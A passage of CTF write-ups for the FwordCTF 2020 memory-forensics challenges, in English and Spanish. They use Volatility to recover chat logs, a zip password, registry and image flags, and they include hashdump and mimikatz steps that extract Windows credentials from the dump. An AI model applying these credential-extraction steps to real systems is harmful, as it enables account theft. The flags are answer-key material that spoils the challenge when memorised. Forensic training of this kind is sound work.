0xfffffa801aa64510:svchost.exe 900 488 38 1047 2020-08-26 09:10:27 UTC+0000... 0xfffffa8019bf2060:wuauclt.exe 1876 900 3 98 2020-08-26 09:13:33 UTC+0000.. 0xfffffa8019bc0b00:svchost.exe 3284 488 7 110 2020-08-26 09:20:28 UTC+0000.. 0xfffffa801a9e6b00:svchost.exe 680 488 8 298 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801a976b00:mscorsvw.exe 4012 488 6 93 2020-08-26 09:12:30 UTC+0000.. 0xfffffa801b3211e0:svchost.exe 2996 488 10 366 2020-08-26 09:11:29 UTC+0000.. 0xfffffa801ab61b00:svchost.exe 1336 488 10 147 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801aecf5f0:taskhost.exe 2036 488 10 234 2020-08-26 09:11:20 UTC+0000.. 0xfffffa8018e10b00:spoolsv.exe 1212 488 14 299 2020-08-26 09:10:29 UTC+0000.. 0xfffffa801ab66b00:svchost.exe 1096 488 16 480 2020-08-26 09:10:29 UTC+0000.. 0xfffffa801ae2e060:sppsvc.exe 1360 488 4 151 2020-08-26 09:10:34 UTC+0000.. 0xfffffa8018e4f4f0:svchost.exe 1748 488 7 104 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801a9bb060:svchost.exe 600 488 11 367 2020-08-26 09:10:27 UTC+0000... 0xfffffa801a5f95f0:WmiPrvSE.exe 952 600 5 120 2020-08-26 09:11:30 UTC+0000.. 0xfffffa801ae824b0:mscorsvw.exe 4052 488 6 83 2020-08-26 09:12:31 UTC+0000.. 0xfffffa801aa4a860:svchost.exe 864 488 22 574 2020-08-26 09:10:27 UTC+0000.. 0xfffffa801b20fb00:wmpnetwk.exe 2768 488 14 494 2020-08-26 09:11:28 UTC+0000.. 0xfffffa801ac9bb00:svchost.exe 1388 488 22 340 2020-08-26 09:10:30 UTC+0000.. 0xfffffa801aa34b00:svchost.exe 808 488 26 533 2020-08-26 09:10:27 UTC+0000... 0xfffffa8019f45870:dwm.exe 1604 808 3 80 2020-08-26 09:11:20 UTC+0000.. 0xfffffa801a9ecb00:svchost.exe 756 488 23 588 2020-08-26 09:10:27 UTC+0000... 0xfffffa801aa879b0:audiodg.exe 968 756 8 148 2020-08-26 09:10:28 UTC+0000.. 0xfffffa801aec4480:SearchIndexer. 2644 488 13 711 2020-08-26 09:11:27 UTC+0000.. 0xfffffa801aab6410:TrustedInstall 1020 488 5 147 2020-08-26 09:10:28 UTC+0000. 0xfffffa801a5f3b00:lsass.exe 496 388 10 752 2020-08-26 09:10:27 UTC+0000. 0xfffffa801a79a550:lsm.exe 504 388 10 147 2020-08-26 09:10:27 UTC+0000 0xfffffa801a738060:csrss.exe 356 348 10 459 2020-08-26 09:10:26 UTC+0000 0xfffffa8018da8040:System 4 0 103 585 2020-08-26 09:10:17 UTC+0000. 0xfffffa8019ebdb00:smss.exe 264 4 2 32 2020-08-26 09:10:17 UTC+0000 0xfffffa801a72fa00:csrss.exe 404 380 9 384 2020-08-26 09:10:27 UTC+0000. 0xfffffa801b2ad060:conhost.exe 2592 404 2 56 2020-08-26 09:22:18 UTC+0000 0xfffffa801a763930:winlogon.exe 448 380 5 122 2020-08-26 09:10:27 UTC+0000 0xfffffa801b01d480:FAHWindow64.ex 2252 2240 2 77 2020-08-26 09:11:21 UTC+0000```
The only obvious process name that could be used for chatting is the Chrome browser (chrome.exe).
There was an interesting tutorial that is important to extract the web browser's history using Volatility plugin: [Volatility Plugin β Chrome History](https://blog.superponible.com/2014/08/31/volatility-plugin-chrome-history/).
I downloaded the plugin from github.
```git clone https://github.com/superponible/volatility-plugins```
And I used it to extract the browser's history.
```volatility foren.raw --plugins=volatility-plugins/ -f foren.raw --profile=Win7SP0x64 chromehistory```
Output:
```Volatility Foundation Volatility Framework 2.6Index URL Title Visits Typed Last Visit Time Hidden Favicon ID------ -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ------ ----- -------------------------- ------ ---------- 84 https://www.facebook.com/ Facebook - Log In or Sign Up 2 0 2020-08-26 09:13:16.484337 N/A 83 http://facebook.co/ Facebook - Log In or Sign Up 1 1 2020-08-26 09:13:15.341831 N/A 81 https://twitter.com/FwordTeam Fword (@FwordTeam) / Twitter 1 0 2020-08-26 09:12:59.645547 N/A 82 https://ctf.fword.wtf/ Fword CTF 1 0 2020-08-26 09:13:01.342381 N/A 86 https://youtube.com/ YouTube 1 1 2020-08-26 09:13:21.325404 N/A 79 https://discord.gg/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 80 https://discord.com/invite/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 77 http://fword.wtf/ Fword CTF 1 0 2020-08-26 09:12:55.299362 N/A 78 https://fword.wtf/ Fword CTF 1 1 2020-08-26 09:12:55.299362 N/A 92 https://www.youtube.com/watch?v=sT1TFWDvL78&list=RD1XsfrpqXPc0&index=2 Lomepal - Trop Beau (Emma PΓ©ters Cover & Crisologo Remix) - YouTube 1 0 2020-08-26 09:16:56.579216 N/A 90 https://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 1 2020-08-26 09:13:32.517035 N/A 89 http://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 0 2020-08-26 09:13:32.517035 N/A 91 https://gofile.io/d/k2RkIS Gofile 1 0 2020-08-26 09:16:55.222846 N/A 88 https://www.youtube.com/watch?v=1XsfrpqXPc0&list=RD1XsfrpqXPc0&start_radio=1 Gabriel Vitel - Feeling Better - YouTube 1 0 2020-08-26 09:13:25.497121 N/A 87 https://www.youtube.com/ YouTube 3 0 2020-08-26 09:13:25.489943 N/A 85 http://youtube.com/ YouTube 1 0 2020-08-26 09:13:21.325404 N/A 93 https://www.youtube.com/watch?v=h3EEhWecuoA&list=RD1XsfrpqXPc0&index=3 Izzamuzzic - Adventure (Original Mix) - YouTube 1 0 2020-08-26 09:21:41.640325 N/A```
Apart Facebook, Twitter, Fword platform, Youtube and the Fword's discord's public channel, there was 2 websites that could be used for a secret chat: `https://gofile.io/d/k2RkIS` (Gofile used to share files) and `https://webchat.freenode.net/` (Kiwi IRC - The web IRC client which is an IRC web client used for IRC chatting).
Personally, when I saw the Gofile website I forget to follow the IRC track and I will discuss about this in the next task `Memory 3` because that file is intended for that task and we can't solve it or validate its flag before seeing the flag of the actual task `Memory 2`. And I figured out that I needed to catch for any data related to the IRC chat that occurred in the Chrome web browser. But since I wasn't be able to find a clean method to do that, I used the `strings` command and I searched for any keyword related to IRC.
```strings foren.raw > /tmp/foen_strings.loggrep -i "freenode " /tmp/foen_strings.log```
Output:
```[REDACTED]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Hmmm"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :No problem I'll give it again .. "]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Just be careful this time"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :See yaa Bahlous \\o"]hha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]h[REDACTED]```
For the people that know the IRC commands, `/PRIVMSG` is used to join a channel using the channel name. So, the channel name is `#FwordCTF{top_secret_channel}` (the # is mandatory in IRC channel names).
This task could be easily be solved using `strings foren.raw | grep FwordCTF`. But this is not a good idea because it's useless to solve a task using such method since it doesn't explain the real purpose of the task.
So, the flag is ```FwordCTF{top_secret_channel}```.___
## Memory 3
**Category:** Forensics**Points:** 405**Author:** Semah BA & KOOLI**Description:**
> He sent me a secret file , can you recover it ?
> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory` and the last steps of the task `Memory 2`, in this task we have to find the file that the author's friend sent to him.
We already know that a file was shared on Gofile according to the web browser's history.
```volatility foren.raw --plugins=volatility-plugins/ -f foren.raw --profile=Win7SP0x64 chromehistory```
Output:
```Volatility Foundation Volatility Framework 2.6Index URL Title Visits Typed Last Visit Time Hidden Favicon ID------ -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ------ ----- -------------------------- ------ ---------- 84 https://www.facebook.com/ Facebook - Log In or Sign Up 2 0 2020-08-26 09:13:16.484337 N/A 83 http://facebook.co/ Facebook - Log In or Sign Up 1 1 2020-08-26 09:13:15.341831 N/A 81 https://twitter.com/FwordTeam Fword (@FwordTeam) / Twitter 1 0 2020-08-26 09:12:59.645547 N/A 82 https://ctf.fword.wtf/ Fword CTF 1 0 2020-08-26 09:13:01.342381 N/A 86 https://youtube.com/ YouTube 1 1 2020-08-26 09:13:21.325404 N/A 79 https://discord.gg/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 80 https://discord.com/invite/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 77 http://fword.wtf/ Fword CTF 1 0 2020-08-26 09:12:55.299362 N/A 78 https://fword.wtf/ Fword CTF 1 1 2020-08-26 09:12:55.299362 N/A 92 https://www.youtube.com/watch?v=sT1TFWDvL78&list=RD1XsfrpqXPc0&index=2 Lomepal - Trop Beau (Emma PΓ©ters Cover & Crisologo Remix) - YouTube 1 0 2020-08-26 09:16:56.579216 N/A 90 https://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 1 2020-08-26 09:13:32.517035 N/A 89 http://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 0 2020-08-26 09:13:32.517035 N/A 91 https://gofile.io/d/k2RkIS Gofile 1 0 2020-08-26 09:16:55.222846 N/A 88 https://www.youtube.com/watch?v=1XsfrpqXPc0&list=RD1XsfrpqXPc0&start_radio=1 Gabriel Vitel - Feeling Better - YouTube 1 0 2020-08-26 09:13:25.497121 N/A 87 https://www.youtube.com/ YouTube 3 0 2020-08-26 09:13:25.489943 N/A 85 http://youtube.com/ YouTube 1 0 2020-08-26 09:13:21.325404 N/A 93 https://www.youtube.com/watch?v=h3EEhWecuoA&list=RD1XsfrpqXPc0&index=3 Izzamuzzic - Adventure (Original Mix) - YouTube 1 0 2020-08-26 09:21:41.640325 N/A```
The file that we are searching for was available in this web page: [https://gofile.io/d/k2RkIS](https://gofile.io/d/k2RkIS).
That file was an compressed and encrypted .zip file
I downloaded the file (available here: [important.zip](resources/forensics-405-memory_3/important.zip))
And since in the description, the author asked to avoid brute forcing the password, I knew that he was talking about the .zip file.
Personally, since the `Memory` tasks are chained (the next task will be visible only if you solve the actual task), I was able to solve the `Memory 3` task (without seeing its description) before the `Memory 2` task and even if the flag of the `Memory 2` task was there in the output of the ``strings`` command (see the previous task), I don't know why I ignored it and I was focused on a way to extract the flag from the compressed encrypted .zip file and I figured out that the author was talking with his friend on IRC so I checked again the conversation adn I found that they shared the file's password there.
But without seeing the `Memory 3`'s description, I didn't know that brute forcing the .zip's password can't help me because I tried it and I failed. And from this moment, I asked myself why can't I try to use the `strings` command to search for the .zip's password there ? And since I know that the password will not be obvious (it will not contain the word `FwordCTF`), I tried the following commands.
```strings foren.raw > /tmp/foen_strings.loggrep -i "password " /tmp/foen_strings.log```
And I found the common results as the previous task `Memory 2`.
Output:
```[REDACTED]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Hmmm"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :No problem I'll give it again .. "]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Just be careful this time"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :See yaa Bahlous \\o"]hha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]h[REDACTED]```
We will take only a small part:
```:[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1```
This is understandable as:
```KOOLI!c50e307f is connecting from 197.14.48.127He is talking from the channel #FwordCTF{top_secret_channel}He send the message: The password isHe also sent another message: fw0rdsecretp4ssAnd he was laughing```
So, the password is ``fw0rdsecretp4ss``.
And, when we used it to extract the files from the .zip file, we found an image that contain the flag: [flag1.png](resources/forensics-405-memory_3/flag1.png)
So, the flag is ```FwordCTF{dont_share_secrets_on_public_channels}```.___
## Memory 4
**Category:** Forensics**Points:** 492**Author:** SemahBA & KOOLI**Description:**
> Since i'm a geek, i hide my secrets in weird places
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the flag in the weird place.
I wanted to predict where the flag is by using the timeline of the process executions and by excluding the system processes and the processes that we already worked on in the previous tasks but as usual I found the flag of the next task `Memory 5` before finding the flag of the actual task `Memory 4`.
And when I wanted to understand what does that mean `weird place`, if this can't be the processes that we already worked on and that could be related to geeks, I thought about the user's registry keys.
So, I get back to the following command.
```volatility -f foren.raw --profile=Win7SP0x64 hivelist```
Output:
```Volatility Foundation Volatility Framework 2.6Virtual Physical Name------------------ ------------------ ----0xfffff8a000b0f410 0x000000002720d410 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT0xfffff8a000d00010 0x000000001ff75010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT0xfffff8a000f8b410 0x00000000175e8410 \??\C:\Windows\System32\config\COMPONENTS0xfffff8a00145f010 0x0000000027d9b010 \SystemRoot\System32\Config\DEFAULT0xfffff8a0014da410 0x00000000275c0410 \SystemRoot\System32\Config\SAM0xfffff8a0033fe410 0x0000000069de6410 \??\C:\Users\SBA_AK\ntuser.dat0xfffff8a0036e7010 0x0000000069188010 \??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat0xfffff8a0038fe280 0x0000000068390280 \??\C:\System Volume Information\Syscache.hve0xfffff8a00000f010 0x000000002cfef010 [no name]0xfffff8a000024010 0x000000002d07a010 \REGISTRY\MACHINE\SYSTEM0xfffff8a000058010 0x000000002d3ae010 \REGISTRY\MACHINE\HARDWARE0xfffff8a000846010 0x000000002a0e9010 \Device\HarddiskVolume1\Boot\BCD0xfffff8a000873010 0x0000000013880010 \SystemRoot\System32\Config\SOFTWARE0xfffff8a000ab8010 0x0000000027455010 \SystemRoot\System32\Config\SECURITY```
And since we know that the user that we are investigating is `SBA_AK`, we have two file paths that we have might need to check: `\??\C:\Users\SBA_AK\ntuser.dat` or/and `\??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat`.
I started with the first one and I used its virtual offset in the volatility command to list the registry keys.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a0033fe410```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \??\C:\Users\SBA_AK\ntuser.datKey name: CMI-CreateHive{D43B12B8-09B5-40DB-B4F6-F6DFEB78DAEC} (S)Last updated: 2020-08-26 09:11:20 UTC+0000
Subkeys: (S) AppEvents (S) Console (S) Control Panel (S) Environment (S) EUDC (S) FLAG (S) Identities (S) Keyboard Layout (S) Network (S) Printers (S) Software (S) System (V) Volatile Environment
Values:```
And that's how I soptted the subkey `FLAG` that might contain the flag.
Then, I printed its value.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a0033fe410 -K "FLAG"```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \??\C:\Users\SBA_AK\ntuser.datKey name: FLAG (S)Last updated: 2020-08-25 18:45:05 UTC+0000
Subkeys:
Values:REG_SZ : (S) FwordCTF{hiding_secrets_in_regs}```
So, the flag is ```FwordCTF{hiding_secrets_in_regs}```.___
## Memory 5
**Category:** Forensics**Points:** 495**Author:** SemahBA & KOOLI**Description:**
> I'm an artist too, i love painting. I always paint in these dimensions 600x300
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the flag in the weird place.
Since I solved this task `Memory 5` before solving the `Memory 4` task, I didn't have the chance to read its description because the task `Memory 5` will not be visible unless I solve the `Memory 4` task.
I wanted to predict where the flag is by using the timeline of the process executions and by excluding the system processes and the processes that we already worked on in the previous tasks.
```volatility -f foren.raw --profile=Win7SP0x64 pslist```
Output:
```Volatility Foundation Volatility Framework 2.6Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------0xfffffa8018da8040 System 4 0 103 585 ------ 0 2020-08-26 09:10:17 UTC+00000xfffffa8019ebdb00 smss.exe 264 4 2 32 ------ 0 2020-08-26 09:10:17 UTC+00000xfffffa801a738060 csrss.exe 356 348 10 459 0 0 2020-08-26 09:10:26 UTC+00000xfffffa801a74db00 wininit.exe 388 348 3 84 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a72fa00 csrss.exe 404 380 9 384 1 0 2020-08-26 09:10:27 UTC+00000xfffffa801a763930 winlogon.exe 448 380 5 122 1 0 2020-08-26 09:10:27 UTC+00000xfffffa801a74e7e0 services.exe 488 388 8 232 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a5f3b00 lsass.exe 496 388 10 752 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a79a550 lsm.exe 504 388 10 147 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9bb060 svchost.exe 600 488 11 367 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9e6b00 svchost.exe 680 488 8 298 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9ecb00 svchost.exe 756 488 23 588 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa34b00 svchost.exe 808 488 26 533 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa4a860 svchost.exe 864 488 22 574 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa64510 svchost.exe 900 488 38 1047 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa879b0 audiodg.exe 968 756 8 148 0 0 2020-08-26 09:10:28 UTC+00000xfffffa801aab6410 TrustedInstall 1020 488 5 147 0 0 2020-08-26 09:10:28 UTC+00000xfffffa801ab66b00 svchost.exe 1096 488 16 480 0 0 2020-08-26 09:10:29 UTC+00000xfffffa8018e10b00 spoolsv.exe 1212 488 14 299 0 0 2020-08-26 09:10:29 UTC+00000xfffffa801abff060 svchost.exe 1240 488 18 311 0 0 2020-08-26 09:10:29 UTC+00000xfffffa801ab61b00 svchost.exe 1336 488 10 147 0 0 2020-08-26 09:10:30 UTC+00000xfffffa801ac9bb00 svchost.exe 1388 488 22 340 0 0 2020-08-26 09:10:30 UTC+00000xfffffa8018e4f4f0 svchost.exe 1748 488 7 104 0 0 2020-08-26 09:10:30 UTC+00000xfffffa801ae2e060 sppsvc.exe 1360 488 4 151 0 0 2020-08-26 09:10:34 UTC+00000xfffffa801aecf5f0 taskhost.exe 2036 488 10 234 1 0 2020-08-26 09:11:20 UTC+00000xfffffa8019f45870 dwm.exe 1604 808 3 80 1 0 2020-08-26 09:11:20 UTC+00000xfffffa801af105c0 explorer.exe 1000 1332 31 896 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801b01d480 FAHWindow64.ex 2252 2240 2 77 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801b024780 WzPreloader.ex 2264 1000 6 123 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801aec4480 SearchIndexer. 2644 488 13 711 0 0 2020-08-26 09:11:27 UTC+00000xfffffa801b20fb00 wmpnetwk.exe 2768 488 14 494 0 0 2020-08-26 09:11:28 UTC+00000xfffffa801b3211e0 svchost.exe 2996 488 10 366 0 0 2020-08-26 09:11:29 UTC+00000xfffffa801a5f95f0 WmiPrvSE.exe 952 600 5 120 0 0 2020-08-26 09:11:30 UTC+00000xfffffa801a976b00 mscorsvw.exe 4012 488 6 93 0 1 2020-08-26 09:12:30 UTC+00000xfffffa801ae824b0 mscorsvw.exe 4052 488 6 83 0 0 2020-08-26 09:12:31 UTC+00000xfffffa801aaba450 svchost.exe 3308 488 14 339 0 0 2020-08-26 09:12:31 UTC+00000xfffffa801aca4060 chrome.exe 3700 1000 33 986 1 0 2020-08-26 09:12:48 UTC+00000xfffffa801ab9c750 chrome.exe 3752 3700 8 93 1 0 2020-08-26 09:12:48 UTC+00000xfffffa801af86b00 chrome.exe 2560 3700 13 337 1 0 2020-08-26 09:12:48 UTC+00000xfffffa8018e55b00 chrome.exe 3304 3700 8 231 1 0 2020-08-26 09:12:50 UTC+00000xfffffa8019a5b360 chrome.exe 3528 3700 11 209 1 0 2020-08-26 09:12:55 UTC+00000xfffffa8019b2ab00 chrome.exe 616 3700 26 332 1 0 2020-08-26 09:13:21 UTC+00000xfffffa8019b5b5f0 chrome.exe 540 3700 13 171 1 0 2020-08-26 09:13:21 UTC+00000xfffffa8019b60060 chrome.exe 3816 3700 13 195 1 0 2020-08-26 09:13:22 UTC+00000xfffffa8019b6fb00 chrome.exe 2516 3700 17 294 1 0 2020-08-26 09:13:32 UTC+00000xfffffa8019ac0640 chrome.exe 3992 3700 14 216 1 0 2020-08-26 09:13:33 UTC+00000xfffffa8019bf2060 wuauclt.exe 1876 900 3 98 1 0 2020-08-26 09:13:33 UTC+00000xfffffa801adeaa40 mspaint.exe 1044 1000 7 133 1 0 2020-08-26 09:20:28 UTC+00000xfffffa8019bc0b00 svchost.exe 3284 488 7 110 0 0 2020-08-26 09:20:28 UTC+00000xfffffa8019bf7060 DumpIt.exe 1764 1000 2 52 1 1 2020-08-26 09:22:18 UTC+00000xfffffa801b2ad060 conhost.exe 2592 404 2 56 1 0 2020-08-26 09:22:18 UTC+0000```
And I found that the only process that we didn't already checked and that was executed later was `mspaint.exe` (Paint).
Now, coming back to the reality, the task description was mentioning the Paint tool.
And the challenge that I tried to solve is more difficult because without the task's description, I didn't have the image's dimensions.
I have the process name and the process ID that I have to work on in order to extract the painted image from the memory that contain the flag.
I followed this write-up to do that: [Google CTF 2016 β Forensic βFor1β Write-up](https://www.rootusers.com/google-ctf-2016-forensic-for1-write-up/).
And the first step that I needed to do was to extract the memory dump for that specific process.
```volatility -f foren.raw --profile=Win7SP0x64 memdump -p 1044 -D /tmp```
The extracted memory dump file will be located on `/tmp/1044.dmp`.
And as pointed in the mentioned write-up, we have to download Gimp, to rename the file from 1044.dmp to 1044.data and to open it using Gimp.
The extracted file 1044.dmp was bigger than the memory dump and I still can't explain why we see such behavior when we dump the process in a separate file.
And as I said, when I solved this task, I didn''t have the image's dimensions and when I opened the 1044.data file using Gimp, I had 3 parameters to change: the offset, the width and the height.
But I found that the height parameter is not really important because we only need to change the width because as I understood, the width will limit the number of pixels per line and if the width is incorrect, all the lines after the first line will be shifted and that will avoid us to see the image because every next line will be also shifted from the previous line.
The first time, I tried to work with a larger width because I was saying that I will see the whole picture when the windows is larger but this is not always correct.
The offset is used to scroll the image between the left and the right by shifting or popping the pixels in the view (from the beginning first index and the last index of the array).
This makes the width more important than the offset.
So, if we have the correct width, we can clearly find the painted image only by changing the offset because we will be scrolling the memory dump until we get to the painted image since the memory dump must contain the data of that process and Paint's data is an image.
The only thing that made me lucky in this task is, I though that we have to guess the image dimensions that that will not be difficult. So, I supposed that the painted image will be square shaped. And when I used a larger width and I changed the offset from the min to the max and I didn't find any interesting thing, I reduced the width until 350 or 400. And I changed again the offset from the minimum to the maximum until I found an interesting blank image that contains some random lines. Then, I changed the width and the height to make the image square (but as I said, changing the height will not be useful since the image can be visible with a wrong height) until I found an interesting image with a width equals to 300 but the image was still not clear. So, I changed the width from 100, 200, 300, 400, 500, 600 and Bingo! the width was 600. And the image is still clear with a width proportional to 600 (like 1200, 1800, 2400).
Then, I took a screenshot on that image and I rotated it to see the flag clearly.
So, the flag is ```FwordCTF{Paint_Skills_FTW!}```.
___
# Scoreboard
After solving all these tasks in a team of two players (the third team member had an issue and was not able to join the party), our team **[S3c5murf](https://ctftime.org/team/63808)** get the score 3277 and get ranked 67/360 out of the teams that had a score greater than 0 :
......
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# Write-up FwordCTF
* [Forensics - Memory 1](#forensics---memory-1)* [Forensics - Memory 2](#forensics---memory-2)* [Forensics - Memory 3](#forensics---memory-3)* [Forensics - Memory 4](#forensics---memory-4)* [Forensics - Memory 5](#forensics---memory-5)* [Forensics - Infection](#forensics---infection)* [Forensics - Null](#forensics---null)* [Bash - CapiCapi](#bash---capicapi)* [Bash - Bash is fun](#bash---bash-is-fun)* [Reversing - Tornado](#reversing---tornado)* [OSINT - Identity Fraud](#osint---identity-fraud)* [OSINT - Tracking a Criminal](#osint---tracking-a-criminal)* [Misc - Secret Array](#misc---secret-array)
## Forensics - Memory 1
Archivos: foren.7z
> Give the hostname, username and password in format FwordCTF{hostname_username_password}.
Se trata de un dump de memoria, por lo que se utiliza **Volatility**.Con imageinfo obtengo que se trata de un dump con el perfil Win7SP1x64. El nombre del equipo se encuentra en el registro, por lo general en la clave 'HKLM\SYSTEM\ControlSet001\Control\ComputerName\ComputerName'.
Para obtenerlo se listan las hives del registro con el comando **hivelist** para ver la direcciΓ³n virtual de la subclave **SYSTEM**. ```volatility -f foren.raw --profile=Win7SP1x64 hivelist```
Luego se imprime el valor de la clave Computer name a partir de esta direcciΓ³n.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ActiveComputerName'```
El nombre del equipo es **FORENWARMUP**.
Para obtener el usuario y la contraseΓ±a se pueden usar **hashdump** y el plugin **mimikatz** que te proporciona la contraseΓ±a en claro, si estΓ‘ disponible.```volatility -f foren.raw --profile=Win7SP1x64 hashdump```
Para crackear el hash NTLM (el segundo) se puede usar CrackStation: https://crackstation.net/.
Mimikatz proporciona en claro la contraseΓ±a:```volatility --plugins=/home/utilidades/plugins-vol -f foren.raw --profile=Win7SP1x64 mimikatz```
**FwordCTF{FORENWARMUP_SBA_AK_password123}**
## Forensics - Memory 2
> I had a secret conversation with my friend on internet. On which channel were we chatting?
En la salida chromehistory se ve que ha estado chateando en un IRC. Hago un dump de la memoria de todos los procesos de chrome visibles en pstree y luego un strings para obtener la flag:
**FwordCTF{top_secret_channel}**
## Forensics - Memory 3
> He sent me a secret file , can you recover it?> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
En el mismo dump de memoria de antes, hago un grep ahora con el nombre del canal y el prefijo de mensaje privado para observar la conversaciΓ³n ``PRIVMSG #FwordCTF{top_secret_channel}``
Se puede ver un enlace del que se descarga el archivo βimportant.zipβ, y su contraseΓ±a **fw0rdsecretp4ss**.Dentro del ZIP estΓ‘ flag en una imagen:
**FwordCTF{dont_share_secrets_on_public_channels}**
## Forensics - Memory 4
> Since i'm a geek, i hide my secrets in weird places.
La flag estΓ‘ escondida en el registro, en NTUSER.dat.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410 -K 'FLAG'```
**FwordCTF{hiding_secrets_in_regs}**
## Forensics - Memory 5
Hago un dump de la memoria del proceso de Paint y le doy la extensiΓ³n **.data**, para luego intentar abrirlo en GIMP.
Jugando con los valores de desplazamiento y anchura del diΓ‘logo se puede ver la flag. Con el desplazamiento se pueden ver las diferentes imΓ‘genes, y con la anchura se modifica una especie de rotaciΓ³n para poder verla bien.
**FwordCTF{Paint_Skills_FTW!}**
## Forensics - Infection
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---infection)
## Forensics - Null
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---null)
## OSINT - Identity Fraud
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
Buscando las respuestas de la cuenta de Twitter @1337bloggs (https://twitter.com/1337bloggs/with_replies) me encuentro con una conversaciΓ³n con @EwordTeam. En ella le ofrecen unirse al equipo si consigue resolver βalgoβ que hay en su pΓ‘gina de CTFtime, cuyo enlace estΓ‘ en la descripciΓ³n de la cuenta.
Al acceder a la pΓ‘gina (https://ctftime.org/team/131587) no se ve nada aparte de la direcciΓ³n de Twitter, y es porque eliminaron la pista una vez les notificΓ³ el usuario.
Sin embargo, hay una captura en WaybackMachine en la que se aprecia la pista, una direcciΓ³n de Pastebin: http://web.archive.org/web/20200826195056/https://ctftime.org/team/131587
El contenido del Pastebin es:```Hi Fred,
You said that you are good in OSINT. So, you need to prove your skills to join Eword.
Your task:Find the leader of Eword, then find the flag in one of his social media accounts.
Hint:https://pastebin.com/PZvaSjA0```
